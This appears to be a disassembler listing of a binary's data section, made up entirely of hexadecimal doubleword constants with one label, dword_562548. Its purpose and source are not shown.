		dd 51BFC637h, 25572480h, 0BC68000Ch, 50B847A2h,	0ACF12C3Ah
		dd 11404C94h, 0A41EA670h, 7B2144F8h, 41A74600h,	8984F1B1h
		dd 946B09A3h, 0A820190Fh, 0EA7553D8h, 494C75Ch,	0F1C0BDF3h
		dd 0A6C00CC7h, 47AA394h, 0E2190EB6h, 207C89CCh,	4988C600h
		dd 2E3775A6h, 0CE2C4508h, 0B4C5B600h, 670E6BE8h, 6C8DAEE6h
		dd 4298410Dh, 0B95C13FAh, 8756F04Fh, 0B4BAAEB2h, 0C516044Ah
		dd 0CBB84020h, 0DD530726h, 63500Dh, 0F15D47D4h,	0CE0AF490h
		dd 1CEC91EEh, 86122A08h, 19F0A3EFh, 47635103h, 0E6939FE6h
		dd 60172E21h, 2C240002h, 0D0CEC3C9h, 2CDAB00h, 42180B8Eh
		dd 8DEE0213h, 3A631117h, 8A226844h, 48988123h, 0B201B423h
		dd 13B1F63h, 0FB0420CFh, 0CDC488h, 1AE13E7Eh, 0E586FFAEh
		dd 70ECC728h, 0A9C0397Dh, 7D0AF4B2h, 4D740083h,	0A409051Ah
		dd 0D8E3F5AEh, 4532477Bh, 0E48DF8FBh, 87514h, 6DD6D163h
		dd 8F6446F2h, 0CAE49B01h, 0BA04FC4h, 6E005C62h,	0B7F61762h
		dd 3904D81Ah, 98610A73h, 0A638BCC7h, 7131174h, 9900A20h
		dd 3EDD120h, 7AFC00E2h,	7F2B9732h, 83031A7Bh, 0F1B9BDFBh
		dd 0E24014BCh, 0A0584CB1h, 4DAF0CCFh, 0A1DB1B20h, 7B041FB5h
		dd 0EF61B051h, 7809F8C5h, 4084122Ah, 4C2BDA7Ch,	12C0E42Eh
		dd 0C4D542Dh, 0C364E707h, 85091C4Fh, 5C019F34h,	0ACBE646h
		dd 30E5FEE0h, 0EF5198ADh, 49D3E8A5h, 0BCFBC430h, 48A1071Ah
		dd 70060347h, 0D93050D1h, 0EA2F4101h, 5EC86701h, 2411F042h
		dd 4234881Bh, 0F200D779h, 3E1F35F7h, 4C521B0h, 92BCA925h
		dd 1140D084h, 93E9336Ch, 0E81CB1A1h, 0B433C452h, 0AD44B4B2h
		dd 0B48F23ECh, 53F03053h, 0B60437B4h, 7BAFBF8Dh, 631F21C2h
		dd 30CB8038h, 2F54B032h, 83D6B114h, 20F24130h, 0C7E60055h
		dd 0ED1DEF51h, 35762610h, 0DD1BAC09h, 989882B3h, 0C8D124E2h
		dd 3B007DACh, 0C2F58813h, 0E477EE14h, 0AA504E1h, 0B4DAF002h
		dd 22004688h, 98069E0Ch, 78EF5E7Bh, 0C9E600CAh,	5BBD2C91h
		dd 44B986EEh, 4E82A891h, 6CE1BEA0h, 945192A2h, 0B5260C90h
		dd 0E7AA008Bh, 89DD85E3h, 203EA699h, 7828D0BFh,	8315053Ch
		dd 0C3D019ACh, 28E8BB59h, 248D40h, 0F3B15668h, 77A5922Fh
		dd 0B7AB220Bh, 8B8000A3h, 13C1473Fh, 4BF6303h, 0C8984848h
		dd 0FDF0C3A4h, 100A1F30h, 0A8F0B005h, 3B1BC2E4h, 0DB12B4ABh
		dd 886012A7h, 21090504h, 1F9AAB6h, 0FD984760h, 0E03051BCh
		dd 3E3AE4B9h, 9C9D3F00h, 66F03591h, 360516BDh, 21EC1787h
		dd 0E4A49778h, 0A009A84h, 1AFAA8ECh, 24B27A01h,	900566Eh
		dd 0C09026B8h, 0E57F5989h, 6CA14500h, 9CACE42Fh, 260B0439h
		dd 88DBABC2h, 0D80FEC28h, 0E9CDBA50h, 42480984h, 24C0C6D4h
		dd 47508AEBh, 4497F2C8h, 45296482h, 0B08CE100h,	0C1F641h
		dd 0CFC5C07Eh, 0B57F4B66h, 0BCC7E901h, 371B5335h, 72F83180h
		dd 0A9B22762h, 0DC5F0938h, 2A1F007Fh, 0ACE631B0h, 353E2ED2h
		dd 69EE026Bh, 79C0D0A3h, 0B109F9EDh, 688E533Ch,	924164h
		dd 8A9FAACFh, 845E42D6h, 67A05107h, 1030BA56h, 4CC546D9h
		dd 4E8024E4h, 985778F0h, 0BA34B16h, 5C423812h, 7237A5F5h
		dd 1C790094h, 911A0563h, 0F47002B8h, 228D8501h,	6531C628h
		dd 0B28C59D0h, 0F6EB2200h, 0F00788F0h, 8E3F097Eh, 90A93Ch
		dd 791F48A7h, 0BA73333Bh, 1B514000h, 9286C33Eh,	6529C0E3h
		dd 9BF4936Dh, 0EA392800h, 0A7DCD958h, 2AEB1E73h, 0B28979CCh
		dd 281034A5h, 9F0030EDh, 0AF459AF3h, 0D0D5BCh, 915895F9h
		dd 13504FA1h, 0CBEB3514h, 48D889E4h, 0ED4E78h, 6F43077Ch
		dd 695E3EA9h, 80C97A17h, 88106030h, 222E00D8h, 0A1D446F0h
		dd 0F13F3E05h, 9F2D0191h, 0DF20AC90h, 5CD1EC21h, 328EEF11h
		dd 24385828h, 0A347A890h, 0A962AA40h, 0BFA524E8h, 911C18FCh
		dd 0A80031CCh, 119F2C27h, 589C47C7h, 604AE0ABh,	1C93780Ch
		dd 0EDA0E002h, 8154A8Ah
		dd 0BA59816Ch, 0D4A09195h, 5E00B8DAh, 0F5127DC8h, 0A0FB99E8h
		dd 59074Ch, 45BCB0AFh, 572C53C9h, 190FA5Dh, 0DCE18BD9h
		dd 34C806A6h, 7CF54990h, 81F83622h, 606B7E01h, 79BB1423h
		dd 85F3C8h, 626ADACFh, 3ED66D64h, 1190C1D0h, 0B80C12B4h
		dd 0D8582D5Dh, 0C0294584h, 863DF00Dh, 739980C7h, 0E0B1E89Bh
		dd 69F301D3h, 57F27129h, 8892E659h, 68469409h, 0B81F1D28h
		dd 27E86E48h, 0EF18117Dh, 49DE8C28h, 0F4E490E8h, 0F6BFCE2Ch
		dd 0C31AB401h, 184C8E6Eh, 163CB0A6h, 1DF67B73h,	0C31B8558h
		dd 623007D9h, 9631979Ch, 2B352008h, 848C990Ah, 28FE11h
		dd 0B46247CAh, 0A5C8A3E1h, 5AD1951Eh, 0B0785018h, 6C9977h
		dd 0F696168Eh, 6BEC28E1h, 0EA3B51C0h, 3E0B57h, 8C824F04h
		dd 0EEA631FEh, 3CF88A24h, 58269C64h, 1175F39h, 8D1AA46Fh
		dd 0B1C8C046h, 7140B0F1h, 3C70F3A1h, 1FB026B8h,	47500FCh
		dd 0F2770157h, 5E3CD818h, 0B0D08h, 6C564910h, 1CD30AA4h
		dd 5C8D9E06h, 320E3BDh,	0C8EAF477h, 0E0D0DC5Fh,	4100B20Fh
		dd 0A2FEA4EDh, 30527720h, 49590AF0h, 450161F8h,	78A8E1B8h
		dd 81C02A4Bh, 55A000B7h, 7E119779h, 0AE068569h,	703C7357h
		dd 768D0089h, 0E205EDE5h, 323DADE3h, 35278FAFh,	0F21F10DEh
		dd 1E6180E0h, 166B064h,	0F5843D00h, 0E73CE3E4h,	1B48C0F4h
		dd 0A0528BF1h, 0E0F51176h, 42381A86h, 0DAC480C1h, 21209DE6h
		dd 54050C5Fh, 638D688h,	0F1F9F131h, 43EE6FEEh, 3079F60Dh
		dd 88E105E5h, 0A00D77Ch, 8BB09FC3h, 60DF6E92h, 0B26529D9h
		dd 0AC03D0AAh, 58025085h, 25391F17h, 0D1B5EE7h,	0F0697A72h
		dd 1F032E7Ch, 540158F7h, 0EF192E14h, 4BD0CC6h, 0B31D5211h
		dd 450038EEh, 7F4EFF3Ch, 0E85B0A55h, 42E43F04h,	2C807472h
		dd 0D309E129h, 0E03F1715h, 9945008Ch, 0C03287EBh, 0B2191DD2h
		dd 7B14002Ch, 94815FBAh, 0E0A3F8C0h, 71CE51Eh, 0B72655D7h
		dd 12F00D5h, 0D6B8C482h, 49B6F11Eh, 45553540h, 72B7E744h
		dd 65DF0185h, 0FDB9F53Ch, 3422E5h, 0B85B2999h, 3131FF9h
		dd 0A956C022h, 54C8B3A5h, 6188579h, 27B9DBDCh, 173600AFh
		dd 380B08D3h, 84007360h, 0E19FDCFh, 0C4C2A54h, 144876E7h
		dd 909D1E9h, 21DC6302h,	0BDD0624h, 90DF8452h, 93B41E0h
		dd 60D4F9A6h, 332A8F00h, 260F38FEh, 87B8547Bh, 1C2A4A06h
		dd 0D7074820h, 0F11941A0h, 0A72E17E0h, 43A90012h, 0DE8276A6h
		dd 109216C9h, 0D91F44h,	3DF13C11h, 0D5C9C5ADh, 1B34B348h
		dd 92A140CCh, 352220Ah,	74841C80h, 14000708h, 0CCAC7322h
		dd 3ABAF1h, 8DF8C1EEh, 0DF92EC9Ch, 0B05F3C39h, 0AA45A1D2h
		dd 0B68E0F0Fh, 0C5AF5717h, 0A85538E0h, 4D163C6Bh, 190C063Bh
		dd 48573061h, 0E980D403h, 8684F41Eh, 1C915013h,	0EB3200A8h
		dd 0F8901F59h, 0B93AACB4h, 76A0007Ch, 5271E890h, 83BF0742h
		dd 0F6B76266h, 0C600D107h, 36358948h, 4C76270Fh, 0A103105Bh
		dd 8E7E986Fh, 178022h, 0E5DEF1BBh, 0D5FA4749h, 0C054FD29h
		dd 2D95B60h, 238400E2h,	0A70E29D7h, 0D61CF4A9h,	95132B72h
		dd 0EEF00020h, 38ED61F9h, 93085A05h, 491B0669h,	1463E159h
		dd 0F9DE0C41h, 57A7EF10h, 1893B891h, 69515301h,	50CC2698h
		dd 0DC5501C4h, 0FCED950Ch, 864E607h, 0B0CA3C24h, 7F211281h
		dd 6FEC47A0h, 0ACF701A2h, 0DED7157Bh, 0C8D180C5h, 72D407BEh
		dd 24B509D8h, 0E0113EBFh, 8A6AF45Dh, 8CBD6000h,	8DD930DBh
		dd 9D32906h, 48EC118Ch,	0AF6700ADh, 1D19F553h, 89EE03E4h
		dd 0EBA25047h, 5728797Fh, 7500D48Bh, 0B83511D0h, 60A9B429h
		dd 8AF251DEh, 83264594h, 0E4248893h, 50011F11h,	29A1CFDCh
		dd 979FFCD2h, 0D524AA01h, 0D657761Ah, 0F9927561h, 486821B8h
		dd 6EC7CC91h, 0D0BE4600h, 1284329Ah, 507A0059h,	8F5C1762h
		dd 0CFF2BAF6h, 0E3DF721Dh, 4BA00Bh, 82BC980Ch, 0AD7300B7h
		dd 2E28C367h, 5BB0F171h, 990B0330h, 8D2386h, 1CE83875h
		dd 2E2751E1h, 0DFBE5209h, 4A5C06F1h, 47773B99h,	0A843B780h
		dd 0FDB80ADDh, 4A872900h, 5F2BCBD1h, 3044E2EBh,	0C83181BDh
		dd 0C703978Eh, 4BA22F58h, 8D9981DFh, 855C60h, 2CAB020Fh
		dd 0BC644535h, 98724024h, 8560A80Eh, 0E420713Ch, 63D668h
		dd 0DC095E8Ch, 0E788D284h, 3212F5F6h, 5807D956h, 960387ADh
		dd 7D00D7B6h, 0C008B9C3h, 0AE8BB589h, 8801E1EDh, 0EB170A02h
		dd 0A280FAB4h, 0BB6D15BCh, 9C992010h, 0C906580h, 0ECE76896h
		dd 87700083h, 4FA8FF23h, 730051DAh, 0EB5EACBAh,	3AF2478Dh
		dd 520FAAD5h, 29807020h, 0A1AD9436h, 1492B426h,	60326602h
		dd 66604AAAh, 0F81800C0h, 28B7FFA3h, 1F00AED2h,	8DC13F8Eh
		dd 0E8EC2016h, 0EF0B0519h, 0C8560149h, 0D060DF20h, 0A96AB841h
		dd 25AF00ABh, 285A7A36h, 6C9187E7h, 0D199DB05h,	7E72E044h
		dd 187848C8h, 51F6B9F3h, 2A19584Ch, 72A0CF5Fh, 0E512D1FDh
		dd 29007064h, 236C39BCh, 3117EBFh, 7F56AC28h, 6103C92Bh
		dd 54E1E017h, 735AE0BBh, 45071ACFh, 40C04119h, 0A1078676h
		dd 3C60574Ah, 7C380556h, 20C904D7h, 0C38272F4h,	9971FA5Ah
		dd 0CCC6E500h, 85B4C051h, 0D0032C55h, 5774804Ch, 0CBB9BCB8h
		dd 408A2A09h, 50C4002Ch, 3E616D3h, 6F0B4270h, 91828357h
		dd 0FB895C40h, 1906E4Ch, 0CDEABE78h, 5A78B9A7h,	0F18DB700h
		dd 55372BFh, 0B8685930h, 2CB81BEBh, 833008FEh, 0E1FC276Bh
		dd 0F2113Bh, 1DEB82B9h,	4196C9h, 0AD7EBA69h, 0F0EA2BD6h
		dd 7328F898h, 0E548187Ah, 723183BCh, 0F33890B7h, 74C90C18h
		dd 998A0920h, 0B8F0BB50h, 3F38F8A4h, 51D9006Eh,	74B57885h
		dd 0D33004FDh, 0C5B449DBh, 3F18C863h, 0CB22F100h, 0CA558742h
		dd 0CCEA80FDh, 44DED128h, 4E155D1Dh, 46F6DC00h,	53402F5h
		dd 0AE350E6Eh, 289C058Bh, 0F54488BDh, 467CAC00h, 9C14A72Ch
		dd 96FF005Dh, 13A39079h, 0E9A232B5h, 3C070889h,	9331A150h
		dd 4062B8h, 0FA575A3Eh,	1EBB598Dh, 0F8A489h, 2033AA1Ch
		dd 78015105h, 5855A0CEh, 0CDDCF137h, 0EAF00372h, 4B089BDCh
		dd 0E846B7CAh, 686E370Bh, 0ADC68076h, 1382DC81h, 9E7CBCh
		dd 708CD699h, 40B1B9C9h, 532A000h, 742EFD7h, 5D01838Eh
		dd 0AE3EE0B6h, 7B29728Dh, 411D0C7h, 6F615800h, 0BDD7B5BFh
		dd 0C666B00h, 0B2C9DCFAh, 0BCF059F3h, 835B9C4h,	88FE1060h
		dd 41559CE3h, 0A8505A09h, 1CE4C0DBh, 0C9A6D719h, 0B010E2D8h
		dd 31741B6Fh, 0E0990500h, 0CBFEC325h, 4FC0203h,	9ED64DA8h
		dd 0A312F052h, 8822F04Ch, 0BD06C0DCh, 280600DBh, 0CD0A6458h
		dd 0A900F50Eh, 0F3E38EB8h, 9AB7F007h, 560618ACh, 0EFEA79F7h
		dd 78E74D0Bh, 60E82191h, 0FC60B581h, 3061D2D2h,	1C2944C8h
		dd 3600BC7Bh, 222A12EBh, 0B6F49EEh, 3F8AD64Bh, 10076411h
		dd 3BB3DDA4h, 2C775562h, 0E769E1h, 230CBD73h, 38CC6E40h
		dd 26726165h, 4A54ED7Dh, 6E5E2DCh, 0F1C0BCA0h, 0C403A66Fh
		dd 0C8BC18F4h, 429EB863h, 84E491A1h, 0CC40C354h, 0CE3E8040h
		dd 1D58187Ch, 34DFBF49h, 85088DD1h, 0F0D4807Dh,	0D4678BDBh
		dd 9B0029C9h, 5DCC0B7h,	4D02F28h, 6200056h, 0F312F182h
		dd 45008F7Bh, 279A5F6h,	28DEAC24h, 34A0FCDDh, 14AA9EDBh
		dd 9CDF8CA0h, 810C00D3h, 1E51EA15h, 1BDF93Eh, 1FEE5EDAh
		dd 8828D7DFh, 0B47C16h,	0D9C3616Ch, 2C587F55h, 487332C0h
		dd 0B7BC4057h, 5A400034h
dword_562548	dd 0DDCF35A2h, 0F02A50D1h, 0B100E0D3h, 1EF75DA4h, 92BB0Bh
		dd 3C7C34Bh, 97B7B674h,	847BD41Ch, 9C30AD92h, 0F0C88F2Ch
		dd 2F7403EDh, 10E4F00Ah, 0B4A02EF3h, 11348A0h, 0F8018AC9h
		dd 8B53355Ch, 3B106DCh,	4F86FC0Ah, 0F1CA8578h, 403EAC46h
		dd 70423C8Ch, 9E8F1600h, 506D2706h, 167CEA3Ch, 5B8A84Bh
		dd 88607260h, 8D017874h, 17C6B0FFh, 90DC2AFBh, 4D792272h
		dd 0C93C7811h, 0AEE66902h, 9041DE57h, 48208007h, 9468C62Eh
		dd 36411CA9h, 7C0540B8h, 903F9382h, 0CC127CB0h,	0ED005527h
		dd 6A1C9935h, 64480029h, 6F07E433h, 0EF00196Ch,	4CF63C56h
		dd 0C36A2EDh, 0D25558BAh, 43602529h, 8F4C3A08h,	50033A7Fh
		dd 4EF78300h, 0B510C0A0h, 8E39A807h, 8649DD90h,	305854h
		dd 6122A148h, 5BC8726Eh, 1D060400h, 891279D1h, 73D430CBh
		dd 3DB15929h, 0E89A71C0h, 602283E4h, 0D88A7951h, 11007D96h
		dd 69FDED73h, 0F7545Ah,	37A059AAh, 3BC39280h, 43BC40D6h
		dd 58BE3200h, 891468AEh, 47782A01h, 1809232Bh, 0C06BE0C0h
		dd 0C7F10479h, 0F572831Eh, 0BB55DE17h, 1810FA10h, 64083093h
		dd 0B1120188h, 1DEDCFC9h, 8B5FF0B9h, 4C8C6503h,	1CD4D847h
		dd 0C3C67A81h, 5FA83073h, 30A6C158h, 9DD3494Dh,	0C3DC05E9h
		dd 55DDBCCh, 0C0BEB544h, 14BAF494h, 0C7D2F103h,	0AC9A915h
		dd 44B05990h, 0D1CB8690h, 6818396Ah, 2019426Dh,	0F6993A93h
		dd 0CFC07100h, 7F045F9Ch, 0B5C6A300h, 93D34978h, 8F9801DAh
		dd 0BD37BE9Fh, 903CD0AEh, 0E54CD770h, 9A7D3D87h, 8C04C44Eh
		dd 154120FBh, 18480D13h, 6DC07000h, 2D575483h, 0C2431D02h
		dd 9FA027h, 8C9E607Fh, 0C164600h, 15FCADC8h, 0D994037Bh
		dd 0ABBDCE27h, 0B994900h, 47D4DAA2h, 62D202C2h,	0A31A26F2h
		dd 0D0801408h, 5F98BB5Ch, 1EA21FE8h, 9591BE84h,	794229Fh
		dd 7AD99603h, 0BB9C9087h, 260079B4h, 0BFF74C66h, 194ECE8Eh
		dd 39B227C1h, 90C1097h,	5DB500F4h, 82713D01h, 1036CD8Ah
		dd 0F9382162h, 0F879FD0h, 115A99FCh, 77CBC07Fh,	7014FA6Fh
		dd 261CE20Eh, 2B9F41F1h, 308F40CCh, 0A918245Eh,	8E00480Bh
		dd 1244F781h, 7265D5F2h, 479C0AD8h, 682704h, 2C2CE4Ah
		dd 5EE22118h, 0EB167803h, 0B0702EB1h, 1844DA72h, 319CC2BDh
		dd 0A9C096A8h, 0C61C1830h, 985F0F7Bh, 401FD501h, 8A6661F2h
		dd 6E014558h, 0DA96A339h, 40948B23h, 0C9392427h, 76EA3607h
		dd 0DF0730CCh, 0C1007711h, 6028D110h, 78F2F30Eh, 0F9A70247h
		dd 5AF50CCCh, 0C6CE8C83h, 499F8000h, 0C46EC82Fh, 931E0C13h
		dd 0BE18E942h, 0A9549C54h, 775C6B00h, 75D90CFFh, 64F81C23h
		dd 474E43D4h, 291F60BDh, 5C1C17Ch, 0A80671D5h, 0EAAA30FCh
		dd 1FDD0098h, 0BC790985h, 0ECA0CB8Eh, 6189AF52h, 0DA944010h
		dd 850505B0h, 8D418E57h, 47389E0Fh, 9DC0DFCDh, 0C4C5FD3h
		dd 0CF273A3Fh, 68A5148h, 15D9C2E4h, 9491C0BDh, 0EE26337Ch
		dd 40B03E19h, 0D36ADB8Fh, 76084E9h, 3ACC3Fh, 0BF61EE5Bh
		dd 0AA40D389h, 13387D00h, 0F125326Dh, 0CC1048CCh, 5C8BB2Ah
		dd 37D60F9Ch, 78F2C0CDh, 0B63CA6BCh, 4F6160E0h,	1672C4DDh
		dd 0AF83F319h, 23383001h, 40207F56h, 2B8A08AFh,	2788420Ch
		dd 32A18E96h, 9147BBC1h, 70006003h, 2769A400h, 8372A752h
		dd 7774046Bh, 905F5EA5h, 10330BB4h, 9FF7CF1Fh, 79410A7Ch
		dd 2606984Fh, 28A0BA20h, 209CFE8Eh, 3008A5C8h, 73D6BCDh
		dd 30C2E7BAh, 0BF3E8194h, 79B67024h, 5180C300h,	0C9388BEh
		dd 0D0E735ADh, 2A0033E1h, 1A8B1B8Fh, 5C20D8h, 0DCB531CEh
		dd 5308FD6Fh, 0FCA0C673h, 0CCA1B0F9h, 8D798204h, 82CAB426h
		dd 223FD9DCh, 182983C2h, 16994060h, 87BBB9h, 666410F4h
		dd 4E300CCDh, 5F8220BFh, 0D760C9Ch, 0F39947E1h,	808CA73Ah
		dd 4273C450h, 1A330A0h,	0B378DED9h, 808827C6h, 91AF8069h
		dd 5030E0h, 17322052h, 0E7319D4Eh, 5F76900h, 1FFD2FC4h
		dd 0BC5F26AEh, 0A5F00947h, 24D8AC03h, 90B9C022h, 2E954420h
		dd 0E993CF00h, 0D01C8822h, 0C02600A2h, 0F0AE6F57h, 0CCA0A43Eh
		dd 0B8008682h, 45E0C65Eh, 0DC92BCBDh, 5915CA41h, 0A5F28ACCh
		dd 70E714F0h, 4E97980Eh, 0DD6DFA60h, 0B248BFF6h, 332A223Ch
		dd 0CDA4A8EBh, 0DDE89CE3h, 0BC24B5DAh, 0BE88640Ah, 318218CFh
		dd 0CCAB05CDh, 0A880B7C2h, 43344C62h, 2DA0C5Ch,	0DB935C9Eh
		dd 4410662Ah, 0CC1E98ACh, 41182C0Ah, 28E9A35Eh,	71B481ADh
		dd 0E452934h, 0C88FBE8Ch, 0E820061Ch, 52DBF92Dh, 6B04AB7Eh
		dd 4B6A5107h, 70EE3200h, 5840920Dh, 306444AAh, 76BCE22h
		dd 2D9743BBh, 8E51B0C1h, 3E001E4Ch, 77A53454h, 665B42Eh
		dd 271104EFh, 14004184h, 0A53812ABh, 1F90971h, 0D2F0B182h
		dd 0F01B2D25h, 0D9DD1A9Fh, 0F146E74Ch, 9BA800C6h, 37AFE307h
		dd 2518D91Eh, 318955CDh, 278F007Bh, 290BFB45h, 32F63EF2h
		dd 493F5A32h, 83F720D1h, 33DF646h, 5BB5800Ch, 8DE55A85h
		dd 539D013Ch, 3218996Dh, 0D461D6BFh, 3F082227h,	0F7F40248h
		dd 667E3A5Fh, 0D79B0014h, 11A518AFh, 5F001CE1h,	0CAA921F9h
		dd 7723F4h, 0BF42E03Ah,	44EEF765h, 0B2698D02h, 812C9FECh
		dd 854DBD60h, 5E41518Fh, 0A4F1491Dh, 4096C424h,	3D67AA5Bh
		dd 0CF140018h, 6F03467Ch, 853BD98Dh, 70E81708h,	0F7AE1800h
		dd 542C8A8Fh, 185EA4C3h, 49A61FCDh, 3A2C15E9h, 0BC397CC9h
		dd 2D368D05h, 31803C87h, 96712117h, 801E119h, 46FB5D0Fh
		dd 4DDCE472h, 34AE246Ah, 30C21490h, 318EC900h, 5893C72Eh
		dd 0D457FDEFh, 0D9C4023Dh, 28C91DCDh, 913E6D60h, 18802464h
		dd 84F249C5h, 0BCA27498h, 44AF5C24h, 70872D94h,	35214DA6h
		dd 804944E7h, 0BF4D7E6h, 95AE6603h, 32B13802h, 0CAE8A339h
		dd 5CC4A043h, 80001E92h, 0BDA73F73h, 3C19CBC1h,	27E6370Fh
		dd 1C001189h, 24153D21h, 1ED77A1h, 0F9FEF198h, 60919755h
		dd 849AD5ECh, 83413F04h, 2836182h, 0B47010DAh, 6CD128Fh
		dd 4271F027h, 0DAEC847Ch, 0A637269Bh, 716A1BCCh, 0ECA4C9B5h
		dd 1F007CA0h, 0F0D1B09h, 50C956Eh, 49FBFEDBh, 0D847804Eh
		dd 8061730h, 64A869Fh, 3F984468h, 0AF002EE2h, 3D60277h
		dd 13C778DCh, 20E7B25Ah, 0CA707324h, 0F6F4DDFEh, 7B229826h
		dd 8AB4B507h, 0B4225155h, 986720D3h, 38032373h,	3EFDBCD9h
		dd 15C1F8B8h, 0E62E0393h, 497ECEDAh, 7662D2C9h,	954476BCh
		dd 85370035h, 0E0AACE32h, 280106D8h, 1EAC8E4h, 0B2F06808h
		dd 0FD9CA33Ch, 0C83BF020h, 23ED0032h, 7CCAA8FBh, 0F88BACBDh
		dd 83D5461h, 8C24E748h,	25319C00h, 137574DEh, 960F5Bh
		dd 99C97C64h, 9C1742A3h, 6416BE83h, 8F97F044h, 0E5808748h
		dd 0A8CFC7F7h, 2C135DA1h, 36288C5Ch, 891D79D8h,	40331298h
		dd 0B0813934h, 0F3A11F87h, 0CDC1B1E0h, 3B64220Bh, 3CB87A3Fh
		dd 0C900544Ch, 0FC001698h, 9460E6Bh, 407E2ED8h,	0A150F1Eh
		dd 0A7009FE1h, 0D2375444h, 0B126E7ABh, 0E1807A8h, 9BB780FDh
		dd 0D212B0C6h, 7C20BF6Bh, 0B0EB0333h, 4311C076h, 0EACFC9D3h
		dd 2E2FCC1Eh, 0BC07C2Ch, 96B1FA27h, 59C0C000h, 8E020C22h
		dd 0BAB88BB5h, 0E660CC25h, 87851375h, 9DA00894h, 0DE698480h
		dd 27FE321h, 18030C3Dh,	98E3354Eh, 608028A2h, 0AEDDA55Fh
		dd 0EA8E8502h, 66198AB0h, 0A668C834h, 475F3F8Fh, 9D52D70Fh
		dd 0B3C0DD56h, 0C060CE58h
		dd 15A41631h, 0F18200B0h, 9D3DA7B1h, 5F044730h,	0BDA55AC4h
		dd 0F8CC58C4h, 0CEE78866h, 4CA90A8h, 2832AC00h,	29C764ADh
		dd 0E2070138h, 940EC0B2h, 86E7E0B6h, 3C106899h,	7D00C722h
		dd 3360A0FFh, 30F0078Ch, 2929CCE7h, 4F01BFBBh, 0C3111354h
		dd 0B9C84E6Bh, 38AD1F68h, 85AF827Ch, 0F040948Ah, 8C962707h
		dd 0A7D10A80h, 8EED5Ah,	0FF0EB2CCh, 0EBCF8318h,	24C0933Ah
		dd 9712BCACh, 7592828h,	411DC79Ah, 98503036h, 0C0008E9Ch
		dd 8A1FE593h, 24994933h, 80006CA8h, 0F9BF75A3h,	0F8B8D015h
		dd 0CEAC51E9h, 36945068h, 140385A5h, 0AC33C88Fh, 9162A822h
		dd 0BB7D0153h, 11CDEBBCh, 0E7D8485Fh, 7C802B54h, 36123900h
		dd 0AB9C4903h, 2F8301A9h, 640F9EE1h, 503888CEh,	2A81B8EEh
		dd 497ADFFDh, 782DA8h, 730A2D61h, 7A7C0EEAh, 514E0001h
		dd 851C5639h, 0D8B99D29h, 78D0BA80h, 2CA8B328h,	2C3C94D6h
		dd 3A9B0674h, 8550E116h, 74027C54h, 2778B8CFh, 0A4926Fh
		dd 0B54063Ch, 953000EEh, 41DC26E1h, 1301ED72h, 0CB2048C2h
		dd 0B9E88642h, 540BA1Fh, 0D605AAF6h, 60B48637h,	4CD8C902h
		dd 0E082F831h, 58819CD0h, 8F22448Ch, 65E82501h,	5F584A3Bh
		dd 5C172FF8h, 0C102ACF2h, 0CD619EE3h, 0CC83C491h, 0E713DBE0h
		dd 0F903F0A9h, 0A02C6549h, 13289BE2h, 0D11FCCB4h, 0BCD59410h
		dd 8F370F99h, 720BE0h, 0D048F284h, 0A0DA3493h, 9CC40E89h
		dd 0D4C1FC95h, 0C851870Eh, 0FD1D9E74h, 7F0F8A45h, 66C0096h
		dd 26C7C90Ch, 117C0E46h, 42638A6h, 7BE77135h, 79A60C3h
		dd 8A0CD719h, 0B41FC01Ah, 60C0FB7Ah, 9801FC9Fh,	4A191230h
		dd 0B21CC410h, 0F87500FCh, 363F5677h, 0B5EF0E4Ah, 22E1AA7Ah
		dd 0E463A6B6h, 0B1C135CCh, 148A95F6h, 59A12C28h, 417F40Eh
		dd 1C481500h, 4ED41EC7h, 8C4C9CC4h, 533999BDh, 5E7FCC1Eh
		dd 19E9B700h, 0C51526Bh, 0C3BD21ADh, 343A3C51h,	0BF2E7CA9h
		dd 0F42CF8FCh, 0F642C024h, 845226h, 0FAE2347Ch,	8DF31283h
		dd 0ECA0A0EEh, 6099CD54h, 0DC59C487h, 1B5E3190h, 0CAE9004Ah
		dd 0E2133F46h, 9FF05292h, 0E9DF5CFCh, 40E62300h, 7A30AFF3h
		dd 5A1B13BBh, 0ECC8D0CDh, 26004851h, 0AC538F03h, 16788C2h
		dd 817B80E6h, 0A52C4393h, 0C7D010C9h, 3A500026h, 0E7C23D49h
		dd 63F290Bh, 8532943Fh,	80CD88A8h, 0F54BCBEAh, 651842C7h
		dd 6486E824h, 0F60C0059h, 92FE3880h, 31C54943h,	0E4881DCDh
		dd 51DA6F94h, 0C277A285h, 247A27A0h, 0B9357A00h, 214D8AF2h
		dd 480458CEh, 0A420A59Dh, 36991862h, 8AC52E14h,	0CD0BC1BCh
		dd 0A4E26C82h, 0A8FC1E28h, 9F89816h, 7C05D6DCh,	0A4C0442h
		dd 0F24641A6h, 11801926h, 34732B41h, 0DB2E9486h, 75501CAAh
		dd 2FED0676h, 0C85C7D62h, 33079701h, 0CA4EF732h, 0ECA0C468h
		dd 0B30E64EEh, 60146A60h, 30CFF674h, 9FD8EB6Dh,	98E7522Bh
		dd 0FB0FE000h, 2260F894h, 7998480Ah, 608884Ch, 4794BF9Ah
		dd 3216443h, 6440E3Eh, 10418A85h, 0D61E9C00h, 28309928h
		dd 45C85FF7h, 0A066FEA5h, 98BFE907h, 31E07029h,	3F3CBD4Fh
		dd 0A82E10B0h, 0CCA345ECh, 2F38CA2Ch, 2518007Ah, 38343B7Fh
		dd 764B313h, 4332B881h,	98E8C733h, 0B904C4E6h, 1BB392A8h
		dd 44071CC4h, 1F821282h, 2D066ACh, 78FC507Dh, 7C80A897h
		dd 0AC204358h, 0C430B902h, 73147099h, 9E0B0BE4h, 896A2887h
		dd 140078EDh, 0CDF4855Fh, 2F881F10h, 0E2758046h, 90D84093h
		dd 0ECC004B6h, 1DC5B44Dh, 2C5CA93Eh, 80300045h,	572318BAh
		dd 87696000h, 5FED257Fh, 0A51CA024h, 0FCD0014Ch, 20F767C4h
		dd 0C89ED811h, 0DB19F002h, 0F80CAB80h, 832F1A7h, 0C5311139h
		dd 6C09CDA8h, 0E6E2A0B8h, 0A1FC006Ah, 5B2BB4BDh, 0EE0040F0h
		dd 215C38D8h, 4CA3C906h, 91225845h, 32EEE4A1h, 0F34A808Ch
		dd 72BAD74Eh, 7EDC765Ah, 27F71125h, 512E2C90h, 0B6BDDF00h
		dd 4B08CDC6h, 273C2099h, 3D0178CAh, 0C2532BBh, 78885569h
		dd 28AE8AC6h, 20CE6040h, 2BF626h, 35F7624Eh, 5EAE4CCAh
		dd 949F7209h, 218C6D8h,	5C70B45h, 0A8C4447Eh, 1FAF7905h
		dd 0C0C29EF7h, 0E8CF23C6h, 26C842A8h, 4EEE6E09h, 0EC96C0h
